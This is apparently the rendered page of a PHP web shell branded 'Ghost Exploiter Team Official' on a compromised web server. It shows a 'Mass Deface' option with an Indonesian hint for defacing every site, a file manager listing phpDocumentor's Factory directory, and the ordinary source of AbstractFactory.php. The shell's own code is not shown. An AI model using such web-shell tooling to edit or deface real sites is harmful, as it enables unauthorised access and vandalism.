Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpdocumentor
/
reflection
/
src
/
phpDocumentor
/
Reflection
/
Php
/
Factory
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
File
--
ren
Reducer
--
ren
AbstractFactory.php
2.563KB
edt
ren
ClassConstant.php
4.196KB
edt
ren
ClassConstantIterator.php
3.574KB
edt
ren
Class_.php
2.386KB
edt
ren
ConstructorPromotion.php
3.278KB
edt
ren
ContextStack.php
2.317KB
edt
ren
Define.php
4.841KB
edt
ren
EnumCase.php
2.379KB
edt
ren
Enum_.php
1.833KB
edt
ren
File.php
5.632KB
edt
ren
Function_.php
2.16KB
edt
ren
GlobalConstant.php
3.002KB
edt
ren
GlobalConstantIterator.php
2.761KB
edt
ren
IfStatement.php
1.197KB
edt
ren
Interface_.php
2.477KB
edt
ren
Method.php
3.056KB
edt
ren
Namespace_.php
1.617KB
edt
ren
Noop.php
0.497KB
edt
ren
Property.php
3.196KB
edt
ren
PropertyBuilder.php
11.121KB
edt
ren
PropertyIterator.php
5.964KB
edt
ren
TraitUse.php
1.46KB
edt
ren
Trait_.php
1.877KB
edt
ren
Type.php
2.197KB
edt
ren
<?php declare(strict_types=1); /** * This file is part of phpDocumentor. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @link http://phpdoc.org */ namespace phpDocumentor\Reflection\Php\Factory; use InvalidArgumentException; use Override; use phpDocumentor\Reflection\DocBlock; use phpDocumentor\Reflection\DocBlockFactoryInterface; use phpDocumentor\Reflection\Php\Factory\Reducer\Reducer; use phpDocumentor\Reflection\Php\ProjectFactoryStrategy; use phpDocumentor\Reflection\Php\StrategyContainer; use phpDocumentor\Reflection\Types\Context; use PhpParser\Comment\Doc; use PhpParser\NodeAbstract; use function get_debug_type; use function sprintf; abstract class AbstractFactory implements ProjectFactoryStrategy { /** @param iterable<Reducer> $reducers */ public function __construct( protected readonly DocBlockFactoryInterface $docBlockFactory, protected readonly iterable $reducers = [], ) { } /** * Returns true when the strategy is able to handle the object. * * @param object $object object to check. */ #[Override] abstract public function matches(ContextStack $context, object $object): bool; #[Override] public function create(ContextStack $context, object $object, StrategyContainer $strategies): void { if (!$this->matches($context, $object)) { throw new InvalidArgumentException( sprintf( '%s cannot handle objects with the type %s', self::class, get_debug_type($object), ), ); } $element = $this->doCreate($context, $object, $strategies); foreach ($this->reducers as $reducer) { $element = $reducer->reduce($context, $object, $strategies, $element); } } /** * Creates an Element out of the given object. * * Since an object might contain other objects that need to be converted the $factory is passed so it can be * used to create nested Elements. * * @param NodeAbstract|object $object object to convert to an Element */ abstract protected function doCreate(ContextStack $context, object $object, StrategyContainer $strategies): object|null; protected function createDocBlock(Doc|null $docBlock = null, Context|null $context = null): DocBlock|null { if ($docBlock === null) { return null; } return $this->docBlockFactory->create($docBlock->getText(), $context); } }